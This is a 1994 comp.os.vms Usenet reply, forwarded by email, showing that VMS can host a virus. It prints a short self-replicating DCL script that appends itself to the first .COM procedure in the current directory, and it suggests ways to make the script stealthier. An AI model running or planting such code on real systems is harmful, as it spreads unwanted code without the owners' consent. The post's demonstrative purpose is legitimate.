From:	SMTP%"carl@SOL1.GPS.CALTECH.EDU" 16-MAY-1994 09:14:56.85
To:	EVERHART
CC:	
Subj:	Re: Virus checkers for VMS

From: carl@SOL1.GPS.CALTECH.EDU (Carl J Lydick)
X-Newsgroups: comp.os.vms
Subject: Re: Virus checkers for VMS
Date: 12 May 1994 02:32:36 GMT
Organization: HST Wide Field/Planetary Camera
Lines: 34
Distribution: world
Message-Id: <2qs4g4$q4u@gap.cco.caltech.edu>
Reply-To: carl@SOL1.GPS.CALTECH.EDU
Nntp-Posting-Host: sol1.gps.caltech.edu
To: Info-VAX@CRVAX.SRI.COM
X-Gateway-Source-Info: USENET

In article <CpCHHq.6G@acsu.buffalo.edu>, kalisiak@cs.buffalo.edu (Chris Kalisiak) writes:
=James A Dell (jdell@pafosu1) wrote:
=
=>Does anyone know of any virus checkers out there for use on VMS?
=
=Wouldn't VMS be the virus checker? What's a "VMS virus"?

Well, here's a rather trivial example of a VMS virus.  When executed, it
appends itself to the first DCL procedure it finds in the current default
directory.  When that procedure is executed, then if the virus code is
executed, it will do the same thing.  One could easily modify it to skip any
procedures already infected with the virus, add time-dependent behavior to it,
etc.

$!XYZZY
$	OPEN/READ FILE 'F$ENV("PROCEDURE")'
$	OPEN/APPEND ELIF 'F$SEARCH("*.COM")'
$ LBL0:	READ/END=DONE FILE REC
$	IF REC .NES. "$!XYZZY" THEN GOTO LBL0
$ LBL1:	WRITE ELIF REC
$	READ/END=DONE FILE REC
$	IF REC .NES. "$!YZZYZ" THEN GOTO LBL1
$	WRITE ELIF REC
$ DONE:	CLOSE FILE
$	CLOSE ELIF
$!YZZYX
--------------------------------------------------------------------------------
Carl J Lydick | INTERnet: CARL@SOL1.GPS.CALTECH.EDU | NSI/HEPnet: SOL1::CARL

Disclaimer:  Hey, I understand VAXen and VMS.  That's what I get paid for.  My
understanding of astronomy is purely at the amateur level (or below).  So
unless what I'm saying is directly related to VAX/VMS, don't hold me or my
organization responsible for it.  If it IS related to VAX/VMS, you can try to
hold me responsible for it, but my organization had nothing to do with it.